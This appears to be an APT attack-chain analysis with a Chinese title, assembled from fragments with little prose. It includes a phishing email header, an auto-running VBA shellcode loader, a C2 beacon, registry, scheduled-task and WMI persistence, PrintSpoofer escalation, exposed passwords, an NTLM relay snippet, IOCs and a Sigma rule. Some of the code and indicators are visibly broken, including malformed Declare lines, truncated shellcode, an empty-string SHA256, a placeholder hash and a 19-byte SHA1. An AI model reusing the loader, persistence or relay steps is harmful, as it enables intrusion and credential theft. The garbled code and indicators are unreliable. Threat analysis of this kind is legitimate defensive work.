APT-C-42 攻击链深度溯源：从鱼叉钓鱼到横向移动的完整分析

Received: from mail-sor-f41.google.com (mail-sor-f41.google.com [209.85.220.41])
    by mx.target.com (Postfix) with ESMTPS id 4RzKpF3uMz
    for <victim@target.com>; Mon, 18 Mar 2024 09:23:17 +0000 (UTC)
Message-ID: <CAOmGxqK8hZvN2jQ@mail.gmail.com>
From: "HR Department <hr@legitimate-company.com>"
Reply-To: "Recruitment <recruit@temp-mail-service[.]xyz>"
Subject: Fwd: Your Employment Contract - Urgent Review Required
Date: Mon, 18 Mar 2024 09:23:15 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_Part_123456"
X-Spam-Score: 3.2
X-Originating-IP: [185.220.101.47]

$ oledump.py Employment_Contract_v2.docm
  1:       238 'WordDocument'
  2:        94 '_VBA_PROJECT_CUR/Projects/ThisDocument'
  3:      1847 '_VBA_PROJECT_CUR/VBA/Module1'

Attribute VB_Name = "Module1"
Option Explicit

Private Declare PtrSafe Function CreateThread Lib "kernel32" _
    (ByVal lpSecurityAttributes As Long, _
     ByVal dwStackSize As Long, _
     ByVal lpStartAddress As LongPtr, _
     lParam As Long, _
     ByVal dwCreationFlags As Long, _
     lpThreadId As Long) As LongPtr
    
Private Declare PtrSafe VirtualAlloc Lib "kernel32" _
    (ByVal lpAddress As LongPtr, _
     ByVal dwSize As Long, _
     ByVal flAllocationType As Long, _
     ByVal flProtect As Long) As LongPtr
    
Private Declare PtrSafe lstrlenA Lib "kernel32" (ByVal lpString As LongPtr) As Long

Sub AutoOpen()
    Dim shellCode As String
    shellCode = Chr(&H4D) & Chr(&H5A) & ... ' Base64 编码的 payload
    
    ExecuteShellCode shellCode
End Sub

Sub ExecuteShellCode(code As String)
    Dim addr As LongPtr
    Dim size As Long
    Dim hThread As LongPtr
    
    size = lstrlenA(StrPtr(code))
    addr = VirtualAlloc(0, size, &H1000, &H40)
    
    Call RtlMoveMemory(addr, StrPtr(code), size)
    hThread = CreateThread(0, 0, addr, 0, 0, 0)
    
    Do While True
        Sleep 60000
    Loop
End Sub

[+] TCP 45.142.212.61:443 (HTTPS)
    POST /api/v1/beacon HTTP/1.1
    Host: update-cdn.ghostserver[.]com
    Content-Type: application/octet-stream
    Content-Length: 256
    
    [Encrypted blob: {session_id:"a7f3c2", hostname:"WORKSTATION-04", user:"jsmith"}]

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" ^
    /v "OneDriveSync" ^
    /t REG_SZ ^
    /d "C:\Users\[User]\AppData\Local\Temp\svchost.exe" ^
    /f

<Task version="1.2">
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <Delay>PT5M</Delay>
    </LogonTrigger>
  </Triggers>
  <Actions>
    <Exec>
      <Command>C:\Windows\Temp\svchost.exe</Command>
    </Exec>
  </Actions>
</Task>

# 持久化的隐蔽方式——WMI 永驻式 backdoor
$filterArgs = @{ Name = 'SysmonLogger' }
$filter = Get-WmiObject -Namespace root/subscription `
    -Class __EventFilter -Filter "Name='SysmonLogger'"

nt authority\system 权限获取时间：感染后 ~47 分钟
Exploit: PrintSpoofer.exe (modified)
Target: 未打补丁的 Windows Server 2019

Event ID 4688: lsass.exe 被进程 rundll32.exe 访问
Access Mask: 0x1438 (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)

User:Administrator          Password:[REDACTED]
User:svc_backup             Password:P@ssw0rd123!
User:elone                  Password:Summer2024#Secure

# 简化的 relay chain
from impacket.smbconnection import SMBConnection
from impacket.ntlm import compute_ntlm_response

challenge = receive_challenge()
ntlm_hash = get_stolen_hash("svc_backup")
response = compute_ntlm_response(ntlm_hash, challenge)
send_to_target(response)

Domain: update-cdn.ghostserver[.]com
Registrar: NameCheap Inc.
Created: 2024-02-15 (仅提前 30 天)
Registrant: REDACTED FOR PRIVACY
Nameservers: ns1.cloudflare-dns.com, ns2.cloudflare-dns.com

Issuer: Let's Encrypt Authority X3
Subject: update-cdn.ghostserver[.]com
SHA1: 8a:f7:d2:c4:b1:e9:3f:a6:5d:7c:8e:9a:0b:1c:2d:3e:4f:5a:6b
Valid: 2024-02-15 to 2024-05-15

ip_addresses:
  - 45.142.212.61    # Primary C2
  - 185.220.101.47   # Email infrastructure
  - 91.234.99.123    # Backup server

domains:
  - update-cdn.ghostserver[.]com
  - status.malicious-c2[.]net
  - cdn-assets.microsoft-update[.]org  # Typosquatting

file_hashes:
  sha256:
    - e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
    - a1b2c3d4e5f6789012345678abcdef0123456789abcdef0123456789abcdef01

registry_keys:
  - HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveSync
  - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\

title: Suspicious VBA Macro Execution Detection
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects suspicious VBA macro patterns in Office documents
author: Elone Yue
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image: '*\WINWORD.EXE'
    CommandLine|contains:
      - '-Embedding'
      - '/n'
  filter:
    ParentImage|contains:
      - 'explorer.exe'
  condition: selection and not filter
falsepositives:
  - Legitimate Office documents with macros
level: high
tags:
  - attack.execution
  - attack.t1059.001